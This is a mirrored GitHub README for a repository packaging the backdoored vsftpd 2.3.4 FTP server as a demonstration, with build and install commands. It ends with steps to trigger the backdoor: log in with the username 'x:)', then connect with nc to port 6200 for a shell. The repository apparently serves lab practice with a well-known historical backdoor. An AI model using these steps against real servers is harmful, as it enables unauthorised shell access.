Giter VIP home page Giter VIP logo

vsftpd-backdoor's Introduction

vsftpd-backdoor

This is a backdoored version of vsftpd which has been packaged and configured for the convience of performing an example backdoor into a system. vsftpd is an FTP server which was created by Chris Evans and is available at vsftpd.beasts.org, this repo uses version 2.3.4.

This backdoor which was maliciously added to the archive was introduced into the vsftpd-2.3.4 2011 but has since been removed, thus the reason for this repository.

The source for vsftp was https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz and the diff used in this repo was taken from http://pastebin.com/AetT9sS5.

Changes

  • vsftpd.conf to allow remote user login.
  • Make file to work with patch.
  • Core code, which now includes patch.

Requirements

These installation details are for ubuntu but should be able to be adapted for most distros.

apt-get install build-essential

apt-get install libpam0g-dev

Installation

Create users for use with FTP. May not have to do this if you previously used apt-get for vsftpd.

install -v -d -m 0755 /var/ftp/empty

install -v -d -m 0755 /home/ftp

groupadd -g 47 vsftpd

groupadd -g 45 ftp

useradd -c "vsftpd User" -d /dev/null -g vsftpd -s /bin/false -u 47 vsftpd

useradd -c anonymous_user -d /home/ftp -g ftp -s /bin/false -u 45 ftp

Use make to create the executable.

make

Install vsftpd and its modified configurations.

install -v -m 755 vsftpd /usr/sbin/vsftpd

install -v -m 644 vsftpd.8 /usr/share/man/man8

install -v -m 644 vsftpd.conf.5 /usr/share/man/man5

install -v -m 644 vsftpd.conf /etc

Running the exploit

  1. On one node run vsftpd

  2. On another node connected to the network login to the server by using: ftp <server address>

  3. Once connected use the username 'x:)' with any password.

  4. Once the terminal hangs open another terminal and use nc <server address> 6200 and you're in!

vsftpd-backdoor's People

Contributors

lyndon160 avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar  avatar

vsftpd-backdoor's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.